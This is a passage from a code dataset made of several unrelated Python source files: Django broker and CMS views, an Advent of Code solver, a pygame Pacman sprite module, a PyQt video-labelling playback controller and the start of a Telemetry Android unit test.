'':\n pendingorder = pendingorder.filter(folio_id__clid__clid__name__icontains=client)\n\n pendingorder = pendingorder.all()\n\n context = {'pendingorders': pendingorder, 'form': formog}\n return render(request, 'broker/approve_orders.html', context)\n\n","repo_name":"Shreya-Pathak/StockMarket","sub_path":"broker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13560549770","text":"import re\n\ntree = {}\n\ndef travel(bag, level=0):\n total = 0\n for innerbag in tree[bag]:\n total += tree[bag][innerbag] + tree[bag][innerbag] * travel(innerbag, level+1)\n return total\n\nwith open(\"input\", 'r') as f:\n for i, l in enumerate(f.readlines()):\n l = l.strip()\n match = re.match(r'^(\\w+ \\w+) bags contain (.*)', l)\n if match:\n tree.setdefault(match.group(1), {})\n for part in match.group(2).split(','):\n inner_match = re.match(r'\\s*(\\d+) (\\w+ \\w+) bags?', part)\n if inner_match:\n tree[match.group(1)][inner_match.group(2)] = int(inner_match.group(1))\n\nprint(travel('shiny gold'))","repo_name":"tahpee/adventofcode","sub_path":"2020/day7/day7_2.py","file_name":"day7_2.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5735821409","text":"# -*- coding: utf-8 -*-\n\"\"\"CMS view for static pages\"\"\"\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom boski.mixins import LoginRequiredMixin\nfrom boski.views.crud import ListView, CreateView\nfrom boski.decorators import with_template\nfrom module.static_page.models import Entry\nfrom module.static_page.cms.forms import EntryForm\n\n\nclass List(ListView, LoginRequiredMixin):\n breadcrumbs = (\n {'name': _('Static pages'), 'url': 'cms:static_page:index'},\n )\n\n queryset = Entry.objects.non_deleted()\n\n listingColumns = (\n ('id', '#'),\n ('title', _('Title')),\n ('created_at', _('Created')),\n ('action', _('Actions'))\n )\n\n filters = (\n ('created_at__gte', {\n 'label': _('Created from'),\n 'type': 'text',\n 'class': 'calendar',\n }),\n ('created_at__lte', {\n 'label': _('To'),\n 'type': 'text',\n 'class': 'calendar',\n })\n )\n\n mapColumns = {\n 'id': '_displayAsIs',\n 'title': '_displayEditLink',\n 'created_by': '_displayAsIs',\n 'created_at': '_displayDate',\n 'action': '_displayStaticActionLink',\n }\n\n orderingColumns = {'id', 'title', 'created_at'}\n\n def get_fields_name(self):\n fields_name = super(List, self).get_fields_name()\n return fields_name + ['activated_at', 'slug']\n\n\nclass Create(LoginRequiredMixin, CreateView):\n form_class = EntryForm\n model = Entry\n\n @property\n def breadcrumbs(self):\n return (\n {'name': _('Static page'), 'url': 'cms:static_page:index'},\n {\n 'name': self.name,\n 'url': 'cms:static_page:update',\n 'pk': self.get_object().pk\n },\n )\n\n\nclass Update(LoginRequiredMixin, CreateView):\n form_class = EntryForm\n model = Entry\n\n @property\n def breadcrumbs(self):\n return (\n {'name': _('Static page'), 'url': 'cms:static_page:index'},\n {\n 'name': self.name,\n 'url': 'cms:static_page:update',\n 'pk': self.get_object().pk,\n },\n )\n\n\n@login_required\n@with_template('crud/create.html')\ndef create(request):\n form = EntryForm(request.POST or None)\n\n if form.is_valid():\n entry = form.save(commit=False)\n \"\"\":type : Entry \"\"\"\n entry.save()\n messages.success(request, _('New static page has been created'))\n\n return HttpResponseRedirect(reverse('cms:static_page:index'))\n\n name = _('Create')\n request.breadcrumbs = (\n {'name': _('Static page'), 'url': 'cms:static_page:index'},\n {'name': name, 'url': 'cms:static_page:create'},\n )\n\n actions = {\n 'create': 'create',\n 'update': 'update',\n 'delete': 'delete',\n 'index': 'index',\n }\n\n return locals()\n\n\n@login_required\n@with_template('crud/update.html')\ndef update(request, pk):\n entry = Entry.objects.get(pk=pk)\n\n form = EntryForm(request.POST or None, instance=entry)\n\n if form.is_valid():\n entry = form.save(commit=False)\n \"\"\" :type : Entry \"\"\"\n entry.save()\n messages.success(\n request, _('Successfully updated static page \"%s\".') % entry)\n\n if request.POST.get('next', None) == 'edit':\n return HttpResponseRedirect(reverse(\n 'cms:static_page:update', args=[pk]\n ))\n\n return HttpResponseRedirect(reverse('cms:static_page:index'))\n\n name = _('Edit entry \"%s\"') % entry\n request.breadcrumbs = (\n {'name': _('Static page'), 'url': 'cms:static_page:index'},\n {'name': name, 'url': 'cms:static_page:update', 'pk': entry.pk},\n )\n\n actions = {\n 'create': 'create',\n 'update': 'update',\n 'delete': 'delete',\n 'index': 'index',\n }\n\n return dict(locals().items() + {'object': entry}.items())\n\n\n@login_required\n@with_template('crud/delete.html')\ndef delete(request, pk):\n entry = Entry.objects.get(pk=pk)\n\n if request.POST:\n entry.do_delete()\n messages.success(\n request, _('Static page \"%s\" has been deleted') % entry)\n return HttpResponseRedirect(reverse('cms:static_page:index'))\n\n name = _('Delete entry \"%s\"') % entry\n request.breadcrumbs = (\n {'name': _('Static page'), 'url': 'cms:static_page:index'},\n {'name': name, 'url': 'cms:static_page:delete', 'pk': entry.pk},\n )\n\n actions = {\n 'create': 'create',\n 'update': 'update',\n 'delete': 'delete',\n 'index': 'index',\n }\n\n return dict(locals().items() + {'object': entry}.items())\n\n\n@login_required\ndef activate(request, pk):\n try:\n entry = Entry.objects.get(pk=pk)\n \"\"\" :type : Entry \"\"\"\n entry.do_activate()\n messages.success(\n request, _(u'Static page \"%s\" has been activated') % entry)\n except Exception:\n messages.error(request, _('Error occurred during saving'))\n\n return HttpResponseRedirect(reverse('cms:static_page:index'))\n","repo_name":"Alkemic/webpage","sub_path":"module/static_page/cms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12369713664","text":"filename = 'programming_investigate.txt'\n\nresponses = []\nwhile True:\n response = input(\"\\n Why do you like programming? \")\n responses.append(response)\n\n continue_poll = input(\"Would you like to let someone else respond? (y/n) \")\n if continue_poll != 'y':\n break\n\n with open(filename, 'a') as file_object:\n file_object.write(f\"{response} \\n\")\n","repo_name":"yiyidhuang/PythonCrashCrouse2nd","sub_path":"ex10-5.py","file_name":"ex10-5.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21387621249","text":"import pygame\r\nimport public\r\nfrom copy import deepcopy\r\nimport random\r\nimport source\r\nfrom queue import Queue\r\n\r\nclass mysprite(pygame.sprite.Sprite):\r\n\t\r\n\tdef __init__(self,target,imgname,wh,xy,n):\r\n\t\tpygame.sprite.Sprite.__init__(self)\r\n\t\tself.target_surface=target\r\n\t\tself.image = pygame.Surface((wh[0],wh[1]),flags=pygame.HWSURFACE)\r\n\t\tif imgname!='rec':\r\n\t\t\tx=deepcopy(imgname)\r\n\t\t\tself.real_image = pygame.image.load(x,'flie').convert_alpha()\r\n\t\telse:\r\n\t\t\tself.real_image = pygame.Surface((wh[0],wh[1]),flags=pygame.HWSURFACE)\r\n\t\tself.rect = self.real_image.subsurface((0,0,wh[0],wh[1])).get_rect()\r\n\t\tself.rect.x=xy[0]\r\n\t\tself.rect.y=xy[1]\r\n\t\t\r\n\t\tself.frame_num=n\r\n\t\tself.frame=1\r\n\t\tself.fpst=0\r\n\t\r\n\t\r\n\tdef update(self):\r\n\t\tself.fpst+=1\r\n\t\tif self.fpst==6:\r\n\t\t\tself.frame+=1\r\n\t\t\tself.fpst=0\r\n\t\t# self.rect = (self.rect[0]+1,self.rect[1]+1,self.rect[2],self.rect[3])\r\n\t\tif self.frame>self.frame_num:\r\n\t\t\tself.frame=1\r\n\t\trect=(self.rect.w*(self.frame-1),0,self.rect.w,self.rect.h)\r\n\t\tself.image = self.real_image.subsurface(rect)\r\n\t\r\n\tdef draw(self,surf):\r\n\t\tsurf.blit(self.image,self.rect)\r\n\t\r\n\t\r\n\t\t\t\r\nclass Pacman(mysprite):\r\n\tdef __init__(self,target,imgname,wh,xy,n):\r\n\t\tmysprite.__init__(self,target,imgname,wh,(xy[1]*30+5,xy[0]*30+5),n)\r\n\t\tself.lastx=xy[1]*30+5\r\n\t\tself.lasty=xy[0]*30+5\r\n\t\tself.speed=3\r\n\t\tself.direct='R'\r\n\t\tself.keyflag=1\r\n\t\tself.dictx=xy[1]*30+5\r\n\t\tself.dicty=xy[0]*30+5\r\n\t\tself.unitz=[xy[1],xy[0]]\r\n\t\tself.map=[]\r\n\t\tself.next_step_flag = 1\r\n\t\tself.step = 0\r\n\t\r\n\tdef update(self, winflag):\r\n\t\t#print(self.unitz[0],self.unitz[1])\r\n\t\t#self.lastx=self.rect.x\r\n\t\t#self.lasty=self.rect.y\r\n\t\tPacman.move(self)\r\n\t\tmysprite.update(self)\r\n\t\t\r\n\t\tself.next_step_flag = 0\r\n\t\tif self.rect.x>self.dictx:\r\n\t\t\tself.rect.x-=self.speed\r\n\t\t\tif self.rect.x == self.dictx and self.rect.y == self.dicty:\r\n\t\t\t\tself.next_step_flag = 1\r\n\t\telif self.rect.x<self.dictx:\r\n\t\t\tself.rect.x+=self.speed\r\n\t\t\tif self.rect.x == self.dictx and self.rect.y == self.dicty:\r\n\t\t\t\tself.next_step_flag = 1\r\n\t\telif self.rect.y>self.dicty:\r\n\t\t\tself.rect.y-=self.speed\r\n\t\t\tif self.rect.x == self.dictx and self.rect.y == self.dicty:\r\n\t\t\t\tself.next_step_flag = 1\r\n\t\telif self.rect.y<self.dicty:\r\n\t\t\tself.rect.y+=self.speed\r\n\t\t\tif self.rect.x == self.dictx and self.rect.y == self.dicty:\r\n\t\t\t\tself.next_step_flag = 1\r\n\t\telse:\r\n\t\t\t#self.next_step_flag = 1\r\n\t\t\t#print(\"asd\")\r\n\t\t\tx=public.build(self.map[self.unitz[1]][self.unitz[0]])\r\n\t\t\tif self.direct=='L' and x[2]==1:\r\n\t\t\t\tself.dictx-=self.speed*10\r\n\t\t\t\tself.unitz[0]-=1\r\n\t\t\telif self.direct=='R' and x[3]==1:\r\n\t\t\t\tself.dictx+=self.speed*10\r\n\t\t\t\tself.unitz[0]+=1\r\n\t\t\telif self.direct=='U' and x[0]==1:\r\n\t\t\t\tself.dicty-=self.speed*10\r\n\t\t\t\tself.unitz[1]-=1\r\n\t\t\telif self.direct=='D' and x[1]==1:\r\n\t\t\t\tself.dicty+=self.speed*10\r\n\t\t\t\tself.unitz[1]+=1\r\n\t\t\tif winflag == 0 and (self.unitz[0]!=self.lastx or self.unitz[1]!=self.lasty):\r\n\t\t\t\tself.step += 1\r\n\t\t\tself.lastx = self.unitz[0]\r\n\t\t\tself.lasty = self.unitz[1]\r\n\t\t\t\r\n\t\tif self.direct=='L':\r\n\t\t\tself.image=pygame.transform.flip(self.image,True,False)\r\n\t\telif self.direct=='R':\r\n\t\t\tself.image=pygame.transform.flip(self.image,False,False)\r\n\t\telif self.direct=='U':\r\n\t\t\tself.image=pygame.transform.rotate(self.image,90)\r\n\t\telif self.direct=='D':\r\n\t\t\tself.image=pygame.transform.rotate(self.image,-90)\r\n\t\r\n\tdef move(self):\r\n\t\tthekey = pygame.key.get_pressed()\r\n\t\tif not (thekey[pygame.K_UP] or thekey[pygame.K_DOWN] or \\\r\n\t\t\tthekey[pygame.K_LEFT] or thekey[pygame.K_RIGHT]):\r\n\t\t\tself.keyflag=1\r\n\t\t\r\n\t\tx=public.build(self.map[self.unitz[1]][self.unitz[0]])\r\n\t\tif thekey[pygame.K_UP] and x[0]==1 and self.direct!='U':\r\n\t\t\tif self.direct!='D' or self.keyflag==1:\r\n\t\t\t\tself.direct='U'\r\n\t\t\tself.keyflag=0\r\n\t\telif thekey[pygame.K_DOWN] and x[1]==1 and self.direct!='D':\r\n\t\t\tif self.direct!='U' or self.keyflag==1:\r\n\t\t\t\tself.direct='D'\r\n\t\t\tself.keyflag=0\r\n\t\telif thekey[pygame.K_LEFT] and x[2]==1 and self.direct!='L':\r\n\t\t\tif self.direct!='R' or self.keyflag==1:\r\n\t\t\t\tself.direct='L'\r\n\t\t\tself.keyflag=0\r\n\t\telif thekey[pygame.K_RIGHT] and x[3]==1 and self.direct!='R':\r\n\t\t\tif self.direct!='L' or self.keyflag==1:\r\n\t\t\t\tself.direct='R'\r\n\t\t\tself.keyflag=0\r\n\r\n\tdef gotolast(self):\r\n\t\tself.rect.x=self.lastx\r\n\t\tself.rect.y=self.lasty\r\n\t\t\r\n\tdef if_can_control(self):\r\n\t\tif self.next_step_flag == 1:\r\n\t\t\treturn True\r\n\t\treturn False\r\n\t\r\n\tdef move_to(self, direct):\r\n\t\tself.direct = direct\r\n\t\t\r\n\t\t\r\n\t\t\t\r\nclass Wall(mysprite):\r\n\tGroup = []\r\n\tdef __init__(self,target,imgname,wh,xy,col):\r\n\t\tmysprite.__init__(self,target,imgname,wh,xy,1)\r\n\t\tself.color=col\r\n\t\tWall.Group.append(self)\r\n\t\r\n\tdef update(self):\r\n\t\tWall.updatecol(self)\r\n\t\tmysprite.update(self)\r\n\t\r\n\tdef updatecol(self):\r\n\t\tself.real_image.fill(self.color)\r\n\t\r\n\t\t\r\n\t\r\nclass Pea(mysprite):\r\n\tGroup = []\r\n\tdef __init__(self, target, imgname, wh, xy, n, ij):\r\n\t\tmysprite.__init__(self,target,imgname,wh,xy,n)\r\n\t\tself.ij = ij\r\n\t\tPea.Group.append(self)\r\n\t\t\r\nclass Capsule(mysprite):\r\n\tGroup = []\r\n\tdef __init__(self, target, imgname, wh, xy, n, ij):\r\n\t\tmysprite.__init__(self,target,imgname,wh,xy,n)\r\n\t\tself.ij = ij\r\n\t\tCapsule.Group.append(self)\r\n\r\nclass ghost(mysprite):\r\n\tdef _bfs(self, x, y, map):\r\n\t\ts = Queue(maxsize = 0)\r\n\t\ts.put(x)\r\n\t\tvis = {}\r\n\t\tvis[x] = (-1,-1)\r\n\t\twhile s.empty() == False:\r\n\t\t\tnow = s.get()\r\n\t\t\tif now == y:\r\n\t\t\t\tbreak\r\n\t\t\tif public.build(map[now[0]][now[1]])[0] != 0 and (now[0]-1,now[1]) not in vis.keys():\r\n\t\t\t\ts.put((now[0]-1,now[1]))\r\n\t\t\t\tvis[(now[0]-1,now[1])] = now\r\n\t\t\tif public.build(map[now[0]][now[1]])[1] != 0 and (now[0]+1,now[1]) not in vis.keys():\r\n\t\t\t\ts.put((now[0]+1,now[1]))\r\n\t\t\t\tvis[(now[0]+1,now[1])] = now\r\n\t\t\tif public.build(map[now[0]][now[1]])[2] != 0 and (now[0],now[1]-1) not in vis.keys():\r\n\t\t\t\ts.put((now[0],now[1]-1))\r\n\t\t\t\tvis[(now[0],now[1]-1)] = now\r\n\t\t\tif public.build(map[now[0]][now[1]])[3] != 0 and (now[0],now[1]+1) not in vis.keys():\r\n\t\t\t\ts.put((now[0],now[1]+1))\r\n\t\t\t\tvis[(now[0],now[1]+1)] = now\r\n\t\tt = y\r\n\t\tres = []\r\n\t\twhile t!=(-1,-1):\r\n\t\t\tres.insert(0,t)\r\n\t\t\tt = vis[t]\r\n\t\treturn res[1:]\r\n\t\r\n\tdef __init__(self, target, imgname, wh, xy, n):\r\n\t\tsuper().__init__(target, imgname[0], wh, (xy[1]*30+5,xy[0]*30+5), n)\r\n\t\tself.image_file = [pygame.image.load(imgname[0],'flie').convert_alpha(),\\\r\n\t\t\t\t\t\t\tpygame.image.load(imgname[1],'flie').convert_alpha(),\\\r\n\t\t\t\t\t\t\tpygame.image.load(imgname[2],'flie').convert_alpha(),\\\r\n\t\t\t\t\t\t\tpygame.image.load(imgname[3],'flie').convert_alpha(),\\\r\n\t\t\t\t\t\t\tpygame.image.load(imgname[4],'flie').convert_alpha()]\r\n\t\t\r\n\t\tself.direct = 'L'\r\n\t\tself.dictx = xy[1]*30+5\r\n\t\tself.dicty = xy[0]*30+5\r\n\t\tself.speed = 2\r\n\t\tself.unitz = list((xy[1],xy[0]))\r\n\t\tself.init_unitz = (xy[1],xy[0])\r\n\t\tself.map=[]\r\n\t\tself.fear = 0\r\n\t\tself.smart = False\r\n\t\tself.path = []\r\n\t\r\n\tdef update(self,pac_unitz):\r\n\t\tsuper().update()\r\n\t\t#print(self.path)\r\n\t\tif self.rect.x>self.dictx:\r\n\t\t\tself.rect.x-=self.speed\r\n\t\telif self.rect.x<self.dictx:\r\n\t\t\tself.rect.x+=self.speed\r\n\t\telif self.rect.y>self.dicty:\r\n\t\t\tself.rect.y-=self.speed\r\n\t\telif self.rect.y<self.dicty:\r\n\t\t\tself.rect.y+=self.speed\r\n\t\telse:\r\n\t\t\tif self.fear > 0:\r\n\t\t\t\tself.fear -= 1\r\n\t\t\tchoose = 0\r\n\t\t\t\r\n\t\t\tself.path = self._bfs((self.unitz[1],self.unitz[0]),(pac_unitz[1] ,pac_unitz[0]),self.map)\r\n\t\t\tif self.smart == True:\r\n\t\t\t\tif len(self.path) > 0:\r\n\t\t\t\t\tif self.path[0][0] < self.unitz[1]:\r\n\t\t\t\t\t\tchoose = 'U'\r\n\t\t\t\t\telif self.path[0][0] > self.unitz[1]:\r\n\t\t\t\t\t\tchoose = 'D'\r\n\t\t\t\t\telif self.path[0][1] < self.unitz[0]:\r\n\t\t\t\t\t\tchoose = 'L'\r\n\t\t\t\t\telif self.path[0][1] > self.unitz[0]:\r\n\t\t\t\t\t\tchoose = 'R'\r\n\t\t\telse:\r\n\t\t\t\tx=public.build(self.map[self.unitz[1]][self.unitz[0]])\r\n\t\t\t\tchoose_list = []\r\n\t\t\t\tif x[0] == 1:\r\n\t\t\t\t\tchoose_list.append('U')\r\n\t\t\t\tif x[1] == 1:\r\n\t\t\t\t\tchoose_list.append('D')\r\n\t\t\t\tif x[2] == 1:\r\n\t\t\t\t\tchoose_list.append('L')\r\n\t\t\t\tif x[3] == 1:\r\n\t\t\t\t\tchoose_list.append('R')\r\n\t\t\t\tif len(self.path) > 0:\r\n\t\t\t\t\tif self.path[0][0] < self.unitz[1]:\r\n\t\t\t\t\t\tchoose_list.append('U')\r\n\t\t\t\t\t\tchoose_list.append('U')\r\n\t\t\t\t\telif self.path[0][0] > self.unitz[1]:\r\n\t\t\t\t\t\tchoose_list.append('D')\r\n\t\t\t\t\t\tchoose_list.append('D')\r\n\t\t\t\t\telif self.path[0][1] < self.unitz[0]:\r\n\t\t\t\t\t\tchoose_list.append('L')\r\n\t\t\t\t\t\tchoose_list.append('L')\r\n\t\t\t\t\telif self.path[0][1] > self.unitz[0]:\r\n\t\t\t\t\t\tchoose_list.append('R')\r\n\t\t\t\t\t\tchoose_list.append('R')\r\n\t\t\t\t\r\n\t\t\t\tchoose = choose_list[random.randint(0,len(choose_list)-1)]\r\n\t\t\t\t\r\n\t\t\tself.direct = choose\r\n\t\t\tif choose == 'U':\r\n\t\t\t\tself.dicty -= 30\r\n\t\t\t\tself.unitz[1] -= 1\r\n\t\t\telif choose == 'D':\r\n\t\t\t\tself.dicty += 30\r\n\t\t\t\tself.unitz[1] += 1\r\n\t\t\telif choose == 'L':\r\n\t\t\t\tself.dictx -= 30\r\n\t\t\t\tself.unitz[0] -= 1\r\n\t\t\telif choose == 'R':\r\n\t\t\t\tself.dictx += 30\r\n\t\t\t\tself.unitz[0] += 1\r\n\t\t\r\n\t\tif self.fear == 0:\r\n\t\t\tif self.direct == 'U':\r\n\t\t\t\tself.image = self.image_file[0]\r\n\t\t\telif self.direct == 'D':\r\n\t\t\t\tself.image = self.image_file[1]\r\n\t\t\telif self.direct == 'L':\r\n\t\t\t\tself.image = self.image_file[2]\r\n\t\t\telif self.direct == 'R':\r\n\t\t\t\tself.image = self.image_file[3]\r\n\t\telse:\r\n\t\t\tself.image = self.image_file[4]\r\n\t\t\t\r\n\tdef reset(self):\r\n\t\tself.unitz = list(self.init_unitz)\r\n\t\tself.rect.x = self.init_unitz[0]*30+5\r\n\t\tself.rect.y = self.init_unitz[1]*30+5\r\n\t\tself.dictx = self.init_unitz[0]*30+5\r\n\t\tself.dicty = self.init_unitz[1]*30+5\r\n\t\tself.direct = 'L'\r\n\t\tself.fear = 0","repo_name":"yhj137/PacmanEX","sub_path":"mysprite.py","file_name":"mysprite.py","file_ext":"py","file_size_in_byte":9165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34290109535","text":"import os\nfrom typing import Optional\n\nfrom PyQt5.QtCore import QEvent, QObject\nfrom PyQt5.QtGui import QKeySequence\nfrom zdl.utils.io.file import FileInfo\nfrom zdl.utils.io.log import logger\n\nfrom actionlabeller.model.AbcPlayable import AbcPlayable\nfrom actionlabeller.model.ActionLabel import ActionLabel\nfrom actionlabeller.model.JsonFilePoses import JsonFilePoses\nfrom actionlabeller.model.PosePlotting import PosePlotting\nfrom actionlabeller.model.Video import Video\nfrom actionlabeller.presenter import MySignals\nfrom actionlabeller.presenter.CommonUnit import CommonUnit\nfrom actionlabeller.presenter.MySignals import mySignals\nfrom actionlabeller.presenter.Settings import Settings\n\n\nclass PlayingUnit(QObject):\n # Simple implementation, not real singleton.\n # Cannot use class object, cause there is an event installer, must inherit QObject and do instantiation\n only_ins = None\n\n def __init__(self, mwindow):\n logger.debug('')\n super().__init__()\n self.__class__.only_ins = self\n self.mw = mwindow\n self.mw.btn_play.setShortcut(QKeySequence(' '))\n\n self.media_model = None # type:Optional[AbcPlayable]\n self.video_model = None # type:Optional[Video]\n self.images_model = None\n self.pose_model = None # type:Optional[PosePlotting]\n\n (\n self.mw.tab_media.currentChanged.connect(self.slot_tabmedia_current_changed),\n self.mw.table_timeline.horizontalHeader().sectionClicked.connect(\n self.slot_tabletimeline_header_clicked),\n self.mw.table_timeline.pressed.connect(self.slot_pause),\n self.mw.table_timeline.doubleClicked.connect(self.table_timeline_cell_double_clicked),\n self.mw.table_labeled.cellDoubleClicked.connect(self.table_labeled_cell_double_clicked),\n )\n (\n mySignals.schedule.connect(self.slot_schedule),\n )\n (\n self.mw.label_show.installEventFilter(self),\n )\n (\n self.mw.spin_interval.textChanged.connect(self.slot_interval_changed),\n self.mw.combo_speed.currentTextChanged.connect(self.slot_speed_changed),\n self.mw.input_jumpto.textChanged.connect(self.slot_input_jumpto_changed),\n )\n (\n self.mw.btn_to_head.clicked.connect(self.slot_to_head),\n self.mw.btn_to_tail.clicked.connect(self.slot_to_tail),\n self.mw.btn_backward.clicked.connect(self.slot_fast_backward),\n self.mw.btn_rewind.clicked.connect(self.slot_fast_rewind),\n self.mw.btn_open_video.clicked.connect(self.slot_open_file),\n self.mw.btn_stop.clicked.connect(self.slot_btn_stop),\n self.mw.btn_play.clicked.connect(self.slot_play_toggle),\n )\n\n def eventFilter(self, source, event):\n if source == self.mw.label_show:\n if event.type() == QEvent.MouseButtonPress:\n logger.debug(source)\n logger.debug(event)\n self.slot_play_toggle()\n\n return False\n\n def slot_open_file(self):\n # TODO: remove native directory\n all_types_filter = f'*{\" *\".join(Settings.video_exts + Settings.image_exts + Settings.plotting_exts)}'\n file_uri = CommonUnit.get_open_name(filter_=f\"Media Files ({all_types_filter})\")\n # got = '/Users/zdl/Downloads/下载-视频/poses.json'\n # got = '/Users/zdl/Downloads/下载-视频/金鞭溪-张家界.mp4'\n logger.info(file_uri)\n if not file_uri:\n return\n ext = os.path.splitext(file_uri)[1]\n if ext in Settings.video_exts:\n self.mw.tab_media.setCurrentIndex(0)\n video_model = Video(file_uri) \\\n .set_viewer(self.mw.label_show)\n video_model.fps = video_model.get_info()['fps'] * float(self.mw.combo_speed.currentText())\n video_model.file = FileInfo(file_uri)\n self.video_model = video_model\n self.set_model(video_model)\n\n self.mw.table_timeline.set_column_num(video_model.get_info()['frame_c'])\n self.mw.video_textBrowser.append(file_uri)\n elif ext in Settings.plotting_exts:\n self.mw.tab_media.setCurrentIndex(2)\n file = JsonFilePoses.load(file_uri)\n plotter = self.mw.graphics_view.main_plotter\n plotter.set_range([0, int(file['video_info.w'])], [0, int(file['video_info.h'])])\n pose_model = PosePlotting(file['info.pose_type']) \\\n .set_data(file['poses']) \\\n .set_viewer(plotter)\n pose_model.file = file\n self.pose_model = pose_model\n self.set_model(pose_model)\n\n self.mw.table_timeline.set_column_num(int(pose_model.indices[-1]) + 1)\n self.mw.plotting_textBrowser.append(file_uri)\n else:\n logger.warn(f'{file_uri} type {ext} not supported.')\n return\n self.media_model.signals.flushed.connect(self.mw.table_timeline.slot_follow_to)\n self.media_model.signals.flushed.connect(self.slot_follow_to)\n self.slot_start()\n\n def slot_btn_stop(self):\n logger.debug('')\n if self.media_model is None:\n return\n self.media_model.pause()\n self.mw.label_show.clear()\n\n def slot_play_toggle(self):\n if self.media_model is None:\n logger.debug('media_model is None.')\n return\n if self.media_model.is_playing():\n logger.info('pause.')\n self.slot_pause()\n else:\n logger.info('start.')\n self.slot_start()\n\n def slot_pause(self):\n logger.debug('')\n if self.media_model is None:\n return\n self.media_model.pause()\n self.mw.btn_play.setText('Play')\n self.mw.btn_play.setShortcut(QKeySequence(' '))\n\n def slot_start(self):\n logger.debug('')\n if self.media_model is None:\n return\n self.media_model.start(clear_schedule=True)\n self.mw.btn_play.setText('Pause')\n self.mw.btn_play.setShortcut(QKeySequence(' '))\n\n def set_model(self, model):\n logger.debug(type(model))\n self.media_model = model\n\n def slot_fast_backward(self):\n logger.debug('')\n if self.media_model is None:\n return\n step = CommonUnit.get_value(self.mw.input_step, int)\n self.media_model.schedule(-1, -1 * step, -1, MySignals.Emitter.BTN)\n\n def slot_fast_rewind(self):\n logger.debug('')\n if self.media_model is None:\n return\n step = CommonUnit.get_value(self.mw.input_step, int)\n self.media_model.schedule(-1, step, -1, MySignals.Emitter.BTN)\n\n def slot_to_head(self):\n logger.debug('')\n self.media_model.to_head()\n\n def slot_to_tail(self):\n logger.debug('')\n self.media_model.to_tail()\n\n def slot_interval_changed(self):\n Settings.v_interval = int(self.mw.spin_interval.text() or 1)\n\n def slot_speed_changed(self):\n logger.debug('')\n try:\n factor = float(self.mw.combo_speed.currentText())\n if isinstance(self.media_model, Video):\n self.media_model.fps = self.media_model.get_info()['fps'] * factor\n elif isinstance(self.media_model, PosePlotting):\n self.media_model.fps = 20 * factor\n except (ValueError,):\n logger.warning('slot_speed_changed fail.', exc_info=True)\n\n def slot_input_jumpto_changed(self, text):\n if self.media_model is None:\n return\n try:\n jump_to = int(text)\n except ValueError:\n logger.warn('Only int number supported!')\n return\n self.media_model.schedule(jump_to, -1, -1, MySignals.Emitter.INPUT_JUMPTO)\n\n def slot_tabmedia_current_changed(self, index):\n logger.debug(index)\n self.media_model and self.media_model.pause()\n if index == 0:\n self.mw.stacked_widget.setCurrentIndex(0)\n self.set_model(self.video_model)\n elif index == 1:\n self.mw.stacked_widget.setCurrentIndex(0)\n self.set_model(self.images_model)\n elif index == 2:\n self.mw.stacked_widget.setCurrentIndex(1)\n self.set_model(self.pose_model)\n\n def slot_tabletimeline_header_clicked(self, i):\n logger.debug(f'index {i}')\n self.slot_schedule(i, -1, -1, MySignals.Emitter.T_HSCROLL)\n\n def slot_schedule(self, jump_to, bias, stop_at, emitter):\n # index: related signal defined to receive int parameters, None will be cast to large number 146624904,\n # hence replace None with -1\n logger.info(f'{jump_to}, {bias}, {stop_at}, {emitter}')\n if self.media_model is None:\n return\n if jump_to != -1:\n bias = None\n self.media_model.schedule(jump_to, bias, stop_at, emitter)\n\n def slot_follow_to(self, to):\n CommonUnit.status_prompt(f'Frame {to}')\n\n def table_labeled_cell_double_clicked(self, r, c):\n logger.debug('')\n label = self.mw.table_labeled.label_at(r)\n self.label_play(label) or self.mw.table_timeline.col_to_center(label.begin)\n\n def table_timeline_cell_double_clicked(self, qindex):\n logger.debug('')\n r, c = qindex.row(), qindex.column()\n label = self.mw.table_timeline.detect_label(r, c) # type:ActionLabel\n if label:\n self.label_play(label)\n\n def label_play(self, action_label: ActionLabel):\n self.mw.table_timeline.unselect_all()\n self.mw.table_timeline.select_label(action_label)\n if self.media_model is None:\n return False\n self.media_model.schedule(action_label.begin, -1, action_label.end, MySignals.Emitter.T_LABEL)\n self.media_model.start()\n return True\n","repo_name":"ZDL-Git/ActionLabeller","sub_path":"actionlabeller/presenter/PlayingUnit.py","file_name":"PlayingUnit.py","file_ext":"py","file_size_in_byte":9856,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"5855555870","text":"import unittest\n\nfrom telemetry.core import util\nfrom telemetry.internal.backends.chrome import android_browser_finder\nfrom telemetry.internal.browser import browser_options\nfrom telemetry.testing import system_stub\n\nutil.AddDirToPythonPath(util.GetTelemetryDir(), 'third_party', 'mock')\nimport mock\n\n\nclass FakeAndroidPlatform(object):\n def __init__(self, can_launch):\n self._platform_backend = None\n self._unittest_can_launch = can_launch\n\n def CanLaunchApplication(self, _):\n return self._unittest_can_launch\n\n\nclass AndroidBrowserFinderTest(unittest.TestCase):\n def setUp(self):\n self.finder_options = browser_options.BrowserFinderOptions()\n\n # Mock out what's needed for testing with exact APKs\n self._android_browser_finder_stub = system_stub.Override(\n android_browser_finder, ['os'])\n self._patcher = mock.patch('pylib.utils.apk_helper.GetPackageName')\n self._get_package_name_mock = self._patcher.start()\n\n\n def tearDown(self):\n self._android_browser_finder_stub.Restore()\n self._patcher.stop()\n\n def testNoPlatformReturnsEmptyList(self):\n fake_platform = None\n possible_browsers = android_browser_finder._FindAllPossibleBrowsers(\n self.finder_options, fake_platform)\n self.assertEqual([], possible_browsers)\n\n def testCanLaunchAlwaysTrueReturnsAllExceptExact(self):\n fake_platform = FakeAndroidPlatform(can_launch=True)\n all_types = set(\n 